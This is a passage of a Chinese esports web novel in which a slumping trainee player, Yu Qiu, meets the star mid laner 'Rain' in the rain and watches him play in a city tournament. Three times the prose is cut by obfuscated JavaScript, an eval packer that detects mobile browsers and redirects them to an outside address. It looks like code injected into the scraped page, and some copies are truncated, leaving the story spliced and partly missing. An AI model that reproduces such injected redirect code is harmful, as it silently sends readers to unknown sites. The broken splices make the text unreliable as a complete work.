许多人看着屏幕里第一视角下滑稽的操作,发出刺耳的嘲笑声并否认他在这游戏里获得的荣誉。 郁秋的手就这么死死的抓着门把手,人杵在门口一动不动。 密密麻麻的蚂蚁迅速爬上他的背脊,没放过任何皮肉啃食着。充满嗡鸣声的大脑里一些模糊不清的声音在里挣扎着—— 不要听,没事的。 这些话没必要听进去,不必放在心上…… 他的成绩无论在游戏还是青训营,一直是最高的那个,他可是现象游戏里最强的唯一一人,成为正式的职业选手本就是板上钉钉的事情。 而这些人完全不具备这些实力,他们不是一路人,这些人终究是跳梁小丑罢了…… 这些自我安慰的话让他终于回过了点神,死抓着门把的手缓缓松开。 这时,脑海里突然蹦出了一句话—— 最强? 连打个训练赛都会连跪、有这么多失误到队友笑之的人,自诩“最强”吗? 一滴雨落在被微风吹起些许波漾的湖面上,泛起层层波纹。 郁秋一怔,立马甩甩头抛开这个想法。 什么胡话!他当然是最强的,这可是毋庸置疑的! 此时,他的脸色已经有些苍白,但面上依旧当作什么都没听到的模样离开了宿舍区。 走在回去的路上的时候,外面也恰巧开始下起了雨,如同心里开始下的雨一般,越下越大。 专门聚在一起去看他的操作并发出对他实力的质疑声…… 这些人究竟是什么时候开始这样的? 这样的行为已经持续了多久呢? 乌宁究竟是什么时候开始背刺自己的呢? …… 四月是个雨季,雨一下便停不下来。 不知道什么时候会停的雨一直被一把名为‘不理就好’的孤独小伞勉强地抵御着。 雨水击打在伞面上的声音扰人心烦,一直影响着郁秋训练赛的表现,影响着他和乌宁进青训营后两个月练出的配合。 不知是不是错觉,自从郁秋发现这件事后,身边类似的声音好像越来越大、也越来越多了。那些不怀好意的人也越来越不去遮掩他们对他的恶意。 每次听到这些声音,他总会忍不住去想—— 是因为乌宁又在他不知道的地方和别人说了什么吗? 然后又立马否认。 不对,他答应过自己不会再出现类似背刺自己的事情的,不该怀疑他的。 估计那些人早已把这种观看自己操作的丑态当家常便饭了吧。他们的话都别听进心里,当耳旁风不理就好…… 心无旁骛,心无旁骛,专心训练。 他深吸一口气,将心态放平了一些。 扪心自问,这几天的操作都因为这些吵耳的声音变形成什么样子了?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081154|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 说不定是乌宁因为自己好几次没配合上他,忍不住和其他人抱怨自己……菜? 这个字刚蹦出来,他的全身便一滞。 ……菜?实力不行? 不对吧,他不是最强的吗? 如果青训营里只有寥寥几人这么说,那他肯定不是这种人,可现在营里天天能听到如此多否认他实力的声音…… 那,应该是吧? 他可能真的并没有自己想象的那么强吧? …… 这两周郁秋依旧和乌宁组在一队,至于队伍队员的变更,他就记不清了。他只记得每次在训练赛里打算操作的时候,他的手总会没忍住一顿,然后开始犹豫—— 如果这次操作失误的话,是不是又会被他们单拎出来取悦? 而且乌宁背刺过自己,所以局内让他跟着一起打的团战,真的能信么? 不对,不能这么去想。 每当这个念头一出来,郁秋又会立马否认。 团队赛里必须完全得保持对队友的信任,游戏是游戏,关系是关系,大家都想着赢,所以这两者是需要分开的。 思绪回归,他刚准备上去操作,结果发现又错过了可以操作的最佳时期。 脑海里总是控制不住地响着那些背地里嘲笑过他的人的声音,因此,郁秋在对局的犹豫次数也越来越多了—— 这一波他到底该不该操作? 其实心底里下意识还是想操作的,这一波团战他去一打三个残血,他应该可以收下三杀…… 算了,还是别了,带崩团队节奏的风险太大了。 身为总指挥的他也和队友的局内沟通越来越少。每当整支队伍群龙无首的时候,总是乌宁站出来勉强缓解了一下尴尬的气氛并开始了指挥。 整个队伍的气氛就这样僵持着,所有队员或许都心知肚明为什么队内会变成现在这样,但从没有人捅破这张薄弱的窗户纸。 这半个月里,雨从未停过,或大或小,厚实的乌云从未让一丝阳光洒下地面。 雨蒙蒙的,看不清路。 这天,恰巧,郁秋刚到青训营,伞就坏了。 训练赛再次败北,教练看着战绩,才开始注意到郁秋的不对劲:“你最近的状态掉得怎么这么严重?” 还有例行巅峰赛统计的成绩,这两周他居然在持续退步,甚至掉到了全国几百名徘徊不前。 郁秋完全没去看自己那评分第五的负战绩,用听不出情绪的语气道:“会改的。” “别什么会不会改了,这几天的训练赛你有个屁用啊?” 七戈是第一个捅破窗户的人。 他是这几天被调来这个队的边路,而且对八卦没有兴趣。他只知道自己现在的成绩和表现,今年是肯定可以进职业战队的,如果进不了,那他以后八成就没机会了。 郁秋这家伙虽然他知道是游戏里的全国第一,但这个名次在青训营并不罕见,他便没多放在心上。 而且,这几天训练营输的锅几乎都出现在郁秋身上,而赢的对局则和郁秋完全无关,还常常因为他差点被翻盘。 他早看不惯这个把把坑的郁秋了。 他再也无法压抑这几天输的怨气:“昨天也是一句道歉和‘会改的’,前天也是,大前天也是……你说得不腻我听得还腻呢,借口能不能找得好听一点?叫你对局里多说几句话这么简单的事也没见得你改啊?” 见对方依旧低着头不说话,他继续咄咄道:“真以为打个全国第一很了不起吗?做个指挥还装什么高冷呢?我可没上过第一,没办法直接读心去理解你这种高手的想法。” “不知道的以为你对队友有啥意见呢?打个团队赛沟通就这么几个字,你来这到底是为了打职业还是来装逼你这个破第一的?第一很了不起吗?有多少个第一最后照样做不成职业选手的你不知道?” 郁秋的双眸瞪大。 此时,乌宁立马开口辩解道:“等等,郁秋和那些人不一———” “哈,是啊。” 郁秋直接打断了乌宁。 他没忍住低笑了两声,训练室的温度骤然降到了极点。 确实,他来这里前收集过的资料里也包括了那些登顶过全国第一,最后却跨不进职业道路的人,数目还不小。 “我到底是为什么来打职业的?” 这句话究竟是在问谁,他也不知道。 “是为了听这个游戏里的‘顶尖’玩家们一直否认我的实力,还是听你们在坐的所有人一直嘲笑我?” 还是为了开始自我怀疑那举世无双的游戏实力,所以来到了这里呢? 孤零零的小伞在今日格外的倾盆大雨中被击打得支离破碎。 他再也无法按捺住怀疑一切的声音。 他十分平淡道:“我真的受够了。” 他抬起头,目光死死地对上乌宁诧异的目光,嗤笑一声, “你现在又为什么要为我挺身而出?是对你背着我做得那些事情感到愧疚吗?” 关系破裂就破裂吧。 怀疑的声音真的是太折磨了。 “我需要你现在为我出头为我说话吗?像之前那样默默听着这些声音不好吗?你看到这样狼狈的我高兴才对吧?” 什么默契队友,还‘野辅双侠’? 还有继续下去的必要吗? “收起你的假惺惺吧,别恶心我了。” 61. 初遇 话说出口如泼出去的水,无法收回。 虽然郁秋根本没有收回的想法。 身边的环境根本无法让他停止怀疑。 乌宁感受着郁秋毫无情绪的,没有给出回答,只是嘴角微微抽搐了一下,似是心情复杂地欲言又止。 然后,除了七戈以外的两个队友回答他了—— “你这几天拖累乌宁多少次你自己没点数吗?怎么,是七戈戳的你痛处,你甩锅给乌宁是什么意思?” “乌宁做什么了?你自己的问题导致退步为什么要拿他来挡刀?真是枉费他好心为你说话。” 郁秋:“……” 他扫过这两个进营以来表现一直中规中矩的队友。 也是他所知里笑得声音最大的两个人。 他冷声道:“你们——” 刚说出两个字,他的目光在这时不经意地扫过了乌宁,恰好目睹了他勾起又立马压下去的嘴角。 看上去像是在高兴有人为他出头,但又意识到此时此刻不能笑。 郁秋突然哑声。 顿时没有说下去的欲望了。 他冷哼一声,“沆瀣一气。” 丢下这四个字后,他不再去理会他人的表情和反应,在不屑、生气、幸灾乐祸和百感交杂的目光中甩身离开了训练室,离开了营地。 现在室外并没有下雨,但天空依旧乌云密布。 下一场雨似乎随时会降临。 身穿灰色外套的青年孤零零地、漫无目的地走在破旧的小巷子里。 这里几乎没有行人,他根本不担心有人会看到他现在的狼狈模样。 他低垂着双眸,刘海遮盖住了那黯淡无光的眼神。 “秋?也就这样。” 脑海里不停地回响着队友们的冷嘲热讽。 “又输了,一被针对就不会玩游戏,这人是真的不适合打职业,废物,也不知道平常在装什么。” “巅峰第一很了不起?必须大家都围着他打,经济也要让给他,真当成这是他一个人的皇帝游戏了?我受不了这鸟气!我要换队!” “他是天才我就不是吗?来这的人谁不是天才?只有傻逼才会那么逆来顺从全听他的话!” “看我手刃第一,哈哈!这郁秋也太菜了,排名是买来的吧?反正他也不缺钱,买个小小第一对他来说也不难。” “欸欸欸,你怎么能这么质疑我们郁大少呢?小心给他听到了动动手指就把你踢出青训营了。” …… 每一句话、每一个字都重重地砸在了他桀骜不驯的心坎上。 是,他一开始真的没去在意这些闲言杂语,只当这些人都是嫉妒他的跳梁小丑,他们终究不是一路人。 可这几周训练赛一次又一次的失败结果都在告诉他——这些人说的话好像是真的。 他不得不去听,甚至忍不住去信他们的话。 因为结果都在诉说,他好像真的没有他自以为地那么强。 以前的自信究竟是从哪里来的?他是怎么敢夸下海口说自己想夺冠的? 他忘记了。 就他这种成绩,凭什么想着能直接成功进军职业选手并一举拿下众多人梦寐以求的东西的? 嘀嗒、嘀嗒、嘀嗒…… 肌肤传来冰冷刺骨的湿润让他后知后觉地仰起头,看向那灰色的天空。 雨水恰在这时狠狠地砸在了他的脸上,溅湿了他的衣服,透进了他的心里。 啊,又下雨了。 但这次,他没伞了。 他的伞已经坏了。 雨水不断地打在水泥地上,打在每户人家外置的空调机上,打在铝制雨棚上,声音重而密集,纷至沓来,似那源源不绝的嘲讽声,刺耳难听。 郁秋在雨中缓缓地脱下外套盖在了自己的头上,然后继续在小巷里前行着。 雨越下越大了,风随之刮起,拍打在他裸露于空气的肌肤上。 残余的理智不停地在提醒他——就算心情再怎么低谷,身体才是最重要的,不能因为心情不好而伤害自己。 他现在需要的是避雨! 这吵闹的声音让郁秋不耐地皱起了眉。 恰巧,他走到了一个自助售卖机旁。售卖机上有一顶很小的雨棚为其挡雨,但其下剩余的面积并不大,就算进去躲雨也很大概率会被溅湿。 他盯着这台机器旁特别小的空地半晌。 最后,他还是选择在这个小角落蹲下并将头埋进了膝间,只有外套依旧盖在头上。 他与周围灰色的环境融为了一体。 他敷衍着脑子里的理智声。 别吵了,已经避雨了,这破地方这么小他还能淋到雨多正常,让他静静吧。 理智不情不愿地闭上嘴,心中的雨声又冒了出来。 他真的不适合打职业吗? 他明明是全游戏唯一一个长时间坐在第一的人,是游戏里众多玩家公认的最强路人王,但为什么现在训练赛连自己最基本的水平都发挥不出来了? 思绪慢慢陷入泥潭,越陷越深,完全没有挣扎出来的欲望…… “嘀!支付成功!” 哐当! “我去,这怎么有个人?” 一道陌生的惊讶声从头上响起。 听上去像个年轻的少年。 郁秋头也不抬一下。 他知道是自己这模样把人家吓了一跳罢了。 就当他打算重新陷回自我怀疑的声音中时,思绪戛然而止。 很突然,没有雨再落到他身上了。 “噼啪噼啪噼啪……” 熟悉的仓促密集的雨打在伞上的声音在耳边聒噪着,无论是触感还是听感都将他的思绪强行拉回到了现实。 他怔然地略微抬起一点点头,但也仅仅让头上的外套给自己空出了一道视野缝隙,还是保证不会有任何人看到他的模样—— 一个穿着被打湿了不少的黑色裤脚、和一双熟悉的画着特别的五角星logo但被打湿了不少的黑色运动鞋的人正站在他的面前。 这鞋子也是他在家时喜欢穿的牌子之一。 “哥们,你蹲在售卖机旁避雨我能理解,但你为什么要把半个头漏在外面接雨啊?” 只听面前的这个人疑惑道。 郁秋:“……” 他懒得回答,只是默默地把头又埋了回去。 “奇葩。” 只听这个少年小声地吐槽了一句,然后突然说道,“喂?言星奕,我伞坏了,能不能来接我一下?” 听起来像是在打电话。 没过多久,一道匆忙的脚步声夹杂在大雨声里匆忙地靠近了自己,一道急喘喘的声音接踵而至:“夜雨辰你搞什么呢?买瓶水还能把伞买坏。” “不要在意这么多细节。” 被称作夜雨辰的少年轻咳一声,下一秒,郁秋就感到有什么东西搭到了自己身上,然后就听到那个叫做夜雨辰的少年冷哼一声, “反正你伞也比较大,我们挤挤也行。快走吧,要两点了,比赛要来不及了,你可不能让我白跑一趟啊,好不容易有机会一起参加GloryK的城市赛,今天咱们必须夺冠好吧!” “你还知道比赛要开始了啊?这么磨磨唧唧的。” 言星奕鄙视一句后,疑惑道,“但你就这么把坏伞丢这售卖机旁了?你为什么要把伞撑在那?那里是有什么东西吗?” 夜雨辰突然大怒道:“你别回头看啊我去!你一回头伞都歪了!!老子肩膀淋湿了啊!!” 很快,他就恢复了刚刚的平静,“伞就放那吧,万一刚刚好给一些避雨缺伞的人捡去用了呢?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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游戏官方为了让玩家们感受电子竞技的团队魅力,在全国各地举办起了城市赛模拟职业比赛,让普通玩家也有机会体验这个团队游戏的电竞热血,也给予大家寻找线下游戏搭子的机会。 而这种商场里的全国大赛,一般都是市级为单位的比赛,高手并不会太多,最多三四个队伍。 郁秋去洗手间随便擦了下自己身上和头发丝上的水珠,并将伞和外套收在一起保证不会被伞的主人一眼认出后,选了个角落不起眼的观众席落座,然后看向了正在上台的选手们。 通过刚刚看到的裤子和鞋子,他的目光瞬间就锁定在了刚刚那两名少年身上。 名为夜雨辰的那个黑裤少年正带着一个黑色口罩,只能看到他清秀的眉眼。虽然无法目睹到他的全貌,但还是能让人感受到,口罩下的面容绝不普通,何况他的眼里还闪烁着耀眼的对比赛的期待以及自信的光芒。 夜雨辰、言星奕和他们的三个队友坐在台上,登陆了游戏,进入了比赛房间。 台上的五人一般都是按照着他们队内安排的分配就坐,夜雨辰坐在五人中间,一般都是中单的位置。 舞台的大屏显示着房间内每名玩家的游戏ID,夜雨辰的ID一显露出来,郁秋便震惊了。 “中路一哥Rain”。 郁秋周围不少人看到这个ID也发出了不小的惊呼声。 那个显眼的、在游戏圈内十分著名的ID。 “中路一哥Rain”和他的那个叫做‘A星星星星星’的队友,都是GloryK里小有名气的顶尖路人王。 62. 光 郁秋听着周围的人小声交流着。 “Rain和阿星都是深圳的?以前咱们城市比赛的时候也没见过这两人啊?” “高仿的?比赛群也没见过他俩啊,高手这么低调?这种比赛一般不早就在群里装逼了?” 他其实也很好奇,台上的真的是Rain本人吗。 这真的只是巧合吗? 还是说这个夜雨辰只是借了Rain的号来赛场上炫耀的? “算了,管他真的假的,反正我的水平不可能做他的对手,看看过会能不能要到一个好友位。” “好在赛程里没和他们分到一组,我们还是有机会拼个四强的,进四强就有参加省赛的名额了。” “草草草!常驻全国前十的国服中单和全能路人王一队,然后还有一队EA,打个鸡毛啊!本来还想着EA在只能认栽拿个亚军,现在好了,亚军都要不稳了!第三名的奖金都不够我塞牙缝的!我服了!” 郁秋听到身边的人牢骚,没忍住好奇道:“EA那队很强?” “你居然不知道?” 听到有人居然会询问EA那个队伍,那人脸上写满了诧异。他靠近郁秋,小声地用夸张语气解释道,“选手群里不是都传遍了吗?他们可是Eagle的青训啊!这我们怎么打?你玩这个游戏的话应该知道Eagle这个战队吧?” Eagle可是职业联赛里十分有潜力冲刺S组的战队! “……” 郁秋挑眉看着这个凑近自己小声说话的人,下意识把椅子往远点拉了拉,然后淡淡道:“哦,就这。” 那个人像是听到什么大言不惭的话,震惊道:“这还‘就这’啊,这可是职业选手啊!我们就算再强也是业余玩家,怎么和这些职业选手比?” 郁秋平淡道:“全国大赛职业选手是不允许参加报名的,但青训生可以,说明他们现在也算‘业余选手’的范围里,只是他们受到过一些专业的团队训练而已,但也不一定达到职业的水准,所以你现在没必要涨别人士气压自己威风。” 言外之意就是,青训生也只是普通的业余玩家。 而且如果他没记错的话,全国大赛从市级开始选拔,直到在最后全国级的决赛里获得三强的队伍无论是不是青训生,都会直接获得参与选秀大会的门票。 所以有不少到年龄的青训生会选择通过参加全国大赛来提高自己的身价,让选秀大会里的职业战队更容易注意到并选择自己。 不过郁秋从没参加过这种比赛。 因为他今年才成年。 那人看着郁秋如此平静甚至没把职业选手放在眼里的样子,没忍住嗤笑一声:“这么懂,说得好像你是青训生一样。” “我——” 郁秋刚想说自己就是,不仅如此,他还是比台上那几个人名声更大的‘秋’,但脑子里突然又响起了那群人的声音,又悻悻然闭上了嘴。 那个人看着郁秋的模样,没忍住打趣道:“你是音符平台上的视频刷多了也把自己带入成秋那样的顶尖高手吧?还是少刷点视频多提升提升自己实力吧。” 郁秋一怔。 秋?顶尖高手? 他没忍住问道:“你觉得秋很强……吗?” “这不废话!秋可是我们打野玩家的偶像楷模啊!” 那人看郁秋甚至没把“秋”放在眼里,瞬间有些生气,“他还不强吗?你质疑我都不能质疑秋!还有谁能做到霸榜巅峰第一一整个赛季还没被超越过?而且我之前撞过一次他在对面,同是打野,我被他打得完全没有机会翻盘,我可是实打实的心服口服!” 说到这,他叹了口气:“唉,我要是有他这样的实力该多好,这样单子也不缺妹子也不缺的……钱色齐全。” 郁秋的嘴角一抽:“他可从没拿这个泡妹过。” 甚至从没干过这种事。 那人似是因为自己这种思想感到有些不好意思:“哎呀,人各有所需嘛,我要是有他这个条件我肯定去干这种事,毕竟我平常又没啥社交长得还一般,像你这样长得好看的又不用愁这方面的问题……” 突然,主持人洪亮的声音一下打断了两人的聊天。 “欢迎各位来到‘欢乐商场’的比赛站点!现在大屏幕上正在播放的是‘深情Emo高分哥’和‘啊对对队’的对局!” 那人一听到第一个队伍的名字,脸上的尴尬瞬间烟消云散:“你看,他们队伍取的名字配上Rain和阿星这两个高手的配置,一看就是来装纯情哥钓鱼的!” 郁秋:“……” 虽然但他对这个队伍取名用意完全不在意,但不得不说,这名字槽点确实有点多。 他将目光放在了舞台正中央的大屏幕上,若有所思地盯着游戏加载界面上“中路一哥Rain”自带的属于巅峰赛闪电框上,大大的全国排名数字“9”,和火舞这个英雄的黑金色大国标。 他现在更在意的是,夜雨辰是Rain吗。 以及如果这真的是Rain,那他们最后到底能不能斩获冠军。 他旁边的人看到这队的加载页面,不禁啧啧道:“好心疼对面,这怎么打啊?一个上周定榜全国第九的Rain,一个上周定榜全国56名的阿星,还有其他都是几百多名的队友,只能被平推咯。” 郁秋特别关注着夜雨辰的中单操作—— 由于阵容的优势,火舞和辅助在抢完线后直接光明正大地和打野一起去骚扰敌方的野区,技能命中率和走位细节完全拉满,没有出现任何的失误。 反完蓝区再反红区,并且都将敌方的buff收入囊中,而敌方只能毫无头绪的被牵着鼻子走,最后眼睁睁地看着自己家的打野就这么被收走了双buff顺带了两个人头给火舞做外卖。 “……” 身为一名资深的打野玩家,郁秋看到这个打法,眼角微微一抽。 凭心而论,要是遇到这种火舞,他只会希望这是自家队友。 这个夜雨辰像个饕餮一样,直接把对面的野区当成他的失误全部收入了囊中,完全没打算给对面打野留点活路。 须知打敌方野区是这个游戏最快结束游戏的唯一方法,所以不知道是为了节省时间还是炫技,夜雨辰打开的对局节奏带领着队伍仅仅用了六分钟不到的时间就将对面平推,取得了胜利。 坐在郁秋旁边的人倒吸一口凉气:“我滴个乖乖,希望我们家中单能克制住Rain,太可怕了,我可不想像对面打野一样一整把只吃到了两头猪。” 郁秋看着结算页面上比对面打野高了整整五千经济的火舞,没有答话。 这一环扣一环、完全不给对面一口喘息的节奏的实力,八成是Rain本人了,一整把游戏完全给他秀成了降维打击。 Rain,或是说夜雨辰,一整把全是大胆、果断、打破常规和自信的操作。 他双眸微眯。 甚至觉得这个打法风格有些熟悉。 是因为对手和自己不是一个等级的玩家所以才敢这么操作吗? 完全不存在把整个团队的节奏带崩的心理压力。 他突然更加好奇了。 接下来的比赛如果夜雨辰真的遇上了实力旗鼓相当的对手,又会是什么打法? 这一场比赛结束,夜雨辰队伍的五人一下台便朝郁秋的方向走了过来。 郁秋见状,直接低下头,似开始忙碌地玩起手机。 五个人最后在他前面的一排空位坐了下来。 夜雨辰一坐下便开始吐槽:“这队伍名还能不能改啊?谁取得傻逼名?” 言星奕在旁附和道:“主持人念出来不嫌尴尬我都尴尬,你们什么时候改的这个名字?” 一个人干咳了两声:“玩梗嘛,网络上不都一堆人说什么‘这个游戏的高手都是喜欢Emo的纯情纯爱哥’,反正我们几个可是实打实的高手,我就取了这个名字玩玩,至于队伍改名……官方已经不允许了。” 然后,他似是有点心虚地弱弱补充道:“而且万一现场真有好看的小姐姐看上了我们然后顺便处了个对象呢……” “嘁。”言星奕直接发出不屑的声音,“正常人哪会单看你游戏厉害就喜欢上你?我和老夜的申请列表每天都能看到不少图谋不轨的妖魔鬼怪说什么‘cpdd’甚至更可怕的话,看得就让人瘆得慌。” 说着,他就掏出了自己的手机,想调出自己的申请列表给对方看。 夜雨辰才懒得打开游戏专门打开自己的申请列表给别人看,他直接问队友:“我们下场比赛要等多久?” “叫你们加选手群你们又不加,信息又全问我。”他队友无奈地叹了口气,但语气里完全没有任何的不耐烦,“问了,还没回。” 言星奕笑嘻嘻地把手搭到夜雨辰的肩膀上:“多好啊,这种交接事情全都你来干,取名是你的自由,比赛也靠你凑齐人,而且还有机会做Rain和阿星的队长,这几天我看你朋友圈装逼也挺乐在其中的嘛。” “而且有我和老夜的实力,我们今天铁定可以斩下冠军。青训算个蛋,随便赢好吧。” 夜雨辰冷哼一声,拍开了言星奕的手:“低调。” 话是这么说,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081156|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他全身上下都散发着对冠军势在必得的气场。 这个气场,郁秋也十分的……熟悉。 这时,他的队友说:“官方说我们下场比赛估计还要等一个多小时。” 夜雨辰一听到这个时间就站起身,对言星奕道:“走吧。” 他队友一愣:“你们要去哪?等下不会不回来了吧?” “……”夜雨辰的脚步一顿,指了指自己肩膀上明显湿润的衣料,无语地看向言星奕,没好气道,“这家伙打伞都打不稳,我衣服到现在还没干,坐在这冷死了,你们帮我看下东西,谢谢。” 说完,他便掠过郁秋座位一旁,离开了现场。 “这就是为什么他这把非要用这种毫无人性打法的原因,他想赶紧结束比赛。”言星奕跟队友随口解释完后,跟在夜雨辰后面不服道:“还不是你伞坏了非要挤我的,这还能怪上我?!” 郁秋坐在自己的座位上,装作专心致志玩着手机的模样。 手机上显示着的是空白的备忘录。 他幽幽地放下手机,若无其事的站起身,再次偷偷跟在了夜雨辰他们的身后。 虽然偷听和跟踪都有些不道德,但他现在最主要的心虚来源不是这个行为。 商场的空调开得不算太大,但对他们这种刚刚淋过雨的人且衣服还没干的人来说,是真的会感觉到冷的。 他现在裸露的肌肤上都布满了迟迟不下的鸡皮疙瘩。 如果夜雨辰真是因为把伞给他而导致最后着凉发烧,那他的良心是真的完全过不去。 夜雨辰和言星奕最后选在了一家价格相对比较高的奶茶店落座了。 郁秋在他们附近、侧对着夜雨辰的位置落座了下来。 言星奕问道:“那你打算怎么办?一时半会你衣服也干不了,这离我家又远,一个小时以内绝对来不及来回的。” 夜雨辰不以为意:“喝完去随便买件外套,反正这里店多。” 言星奕:“随便买件长袖换上不更好,还买什么外套?” 这时,他们点的热饮品刚好做好送到了桌前。 夜雨辰摘下口罩,小酌了一口。 “新衣服不洗穿得不舒服,外套勉强能接受,反正不生病就行,不想请病假。” 郁秋不经意间将视线瞟了过去,顿时就明白为什么夜雨辰戴着口罩了。 一张让人过目难忘的眉目清秀面容,根本无法让人联想到这居然是刚刚将对手虐到想戒游的国服中单。 夜雨辰嘟囔道:“不然我出个门就发烧,那我爸妈以后都不给我这个机会一个人跑出来玩了。” 听到这句话后的郁秋:“……” 负罪感突然更强了。 他站起身,直接离开了奶茶店。 ‘欢乐商场’是综合型购物中心,各种店应有尽有,不乏药店。 他在药店里好几个牌子的退烧药前徘徊了许久后,最终敲下决定买下了退烧贴。 回到比赛现场时,他见夜雨辰的包被放在一个空桌上,而他的三个队友在一旁低着头百无聊赖地刷着手机。 他将夜雨辰的那把灰色雨伞收好后和装着一盒退烧贴的塑料袋一起,在他队友没注意到他的情况下轻轻地放在了他的包旁,然后再迅速安静的离开了现场。 他的住处离这并不算很远,一个小时的时间完全足够他回去换身衣服回回暖再回到这里继续观赛。 他真的很期待夜雨辰究竟能不能斩获最后的冠军。 他刚走到商场的大门口,脚步一顿。 突然想起来,只想着给夜雨辰买个药“赔罪”,他居然忘记顺便给自己买把新伞了! 唉,算了。 他为自己的愚钝叹了口气。 反正都淋了刚刚那一会,再淋一会也不成问题。 室外的空气中正弥漫着属于下雨天的清新泥土味,郁秋无奈的脱下外套重新搭在了头上跨出了商场大门。 脚步刚跨出去,他便全身一滞。 室外并没有下着他想象中的大雨,甚至毛毛雨都没有。 余光像是注意到了什么,郁秋有些错愕地抬起头,看向了那片不知什么时候已经停止下雨的天空。 阵雨在这个季节特别常见,尤其在这个城市更为频繁。 郁秋早已习惯这半个月来的阴雨。 但是,他现在居然看一道光束刺破厚实的乌云倾洒而下。 那是这段时间从未见过的光芒。 虽然只有那一小簇,但也成功穿过那久久不散的云堆,洒下这半个月以来,唯一一道指引方向道路的光。 63. 小U 一个小时后。 郁秋重新回到比赛现场的时候,从头到尾都换了一套衣着。 外套、裤子甚至连鞋子跟刚刚的穿着完全不是同一个颜色,并且还是十分低调的深色系,完全没有任何显眼的地方。 不仅如此,他还戴了一顶鸭舌帽和口罩,明显不打算让外人看到自己长什么样。 这么做倒不是怕夜雨辰因为自己还伞而开始注意观众因此注意到他,而是因为青训营离欢乐商场并不远,这个时间点,他暂时不太想遇到和他同营的青训生。 反正他是这么自以为的。 他可不会承认刚刚出门前,他在对穿什么衣服不会被夜雨辰认出来而感到烦躁。 其实他不太喜欢这种情绪,很莫名其妙。 给夜雨辰买退烧贴也只是出于愧疚罢了,他看到那些伞和贴后是什么反应关他郁秋什么事?反正自己心意已经送达了。 他现在重新回来也只是好奇夜雨辰打Eagle的青训队会是什么样的心里而已。 台下的观众已经比一个小时前少了很多,估计是参赛选手被淘汰后兴致缺缺地离开了现场。 夜雨辰正穿着一件刚买的冲锋衣在台上打着比赛。 郁秋见状,匆匆地在观众席上的边角位落座并观看战局。 比赛此时已经进行了八分钟。 大屏幕上,夜雨辰这把不知道是不是因为上把的表现太过耀眼导致被对面针对了ban位,所以他此时玩得居然是一个这个版本偏弱的工具人法师王昭君。 不过即便如此,他这把依旧是顺风局。 而且已经把对面的外塔几乎全数拔完,只剩三座高地塔了。 战局现在明面上是夜雨辰这边占了优势,不过,两边经济拉开的距离并没有特别大,也就四五千块钱的经济差,而且对面的关键输出位发育并不算很差,和夜雨辰这边的最高经济位仅仅低了不到一千块钱。 明眼人一眼就能看出,夜雨辰的对手明显也是个训练有素且实力不算弱的素人队伍。 郁秋好奇地看向坐在夜雨辰对面的对手。 他一下就认出了其中一人——是一个小时前跟他说崇拜秋的那个打野。 他顺势扫了一眼那个打野的游戏id——没什么印象,可能巅峰赛里撞到这个人的次数并不多,而且这人的实力并没有特别的出色。 反而和他一队的中单id他倒是十分眼熟。 “万物不及小U” 也是GloryK里一个实力不俗的国服中单,只是在游戏里名声没Rain的大而已,但在顶端局的玩家大部分都知道这个人。 怪不得刚刚那个打野的说辞里会对比赛的亚军虎视眈眈,原来是队伍里也有个全国前十实力的国服中单。 所以,这把游戏的对手对夜雨辰来说,不容小觑。 须知,网络上有时候会出现这样的节奏——Rain和小U的法师究竟谁更强? 这种质量的对局比拼,郁秋突然来了兴致分析两边的阵容。 虽然开局他没看到,但夜雨辰这边的阵容前期强度比小U那一队要高一点,所以打出顺风局反而很正常。 小U这把玩的是一个炮台法师曦,是个手特别长而且适合守家的炮台英雄,而且这英雄越到后期,就越克制夜雨辰的王昭君。不仅如此,从小U那一队的阵容来看,即使夜雨辰的队伍现在是顺风,但他们接下来要是不稳健一点去推塔,也是很有可能给对面制造翻盘机会的。 在对局十分钟节点快到的时候,突然,夜雨辰队伍里的射手不知是不是因为大优局的缘故,走位有些稍许的随意,一下子就被对面瞬间抓住了机会进行开团,而打野和辅助为了救射手,直接上演了一出“葫芦娃救爷爷”的好戏,接连送出人头。 夜雨辰的队伍一下就死了三个人。 “翻盘!!兄弟们都给我站起来打!!” 小U的队伍里,一夺回这个优势,有人便情不自禁地站起来大吼。 嘶吼声响彻整个舞台,下面的观众们甚至都听到了这人些许的破音声。 十分钟是暴君龙团刷新的节点点,是可以扭转战局的一个关键节点。 谁拿到暴君龙,哪边的团战就会更加厉害,所以一般两方队伍都会去找机会争夺这条暴君龙的buff。 夜雨辰一下掉了三个队友,明显已经无力争夺暴君,只好拱手相让给对面。 也因为这个团战节奏的爆发,他们开局以来建立的全部优势瞬间葬送,两个队伍的战况在此时此刻直接拉到了同一战线,甚至说对方的势头已经开始隐隐超越己方。 听到对面的怒吼声,夜雨辰这边的五个人面色明显雪上加霜,比刚刚掉点时更加凝重了。 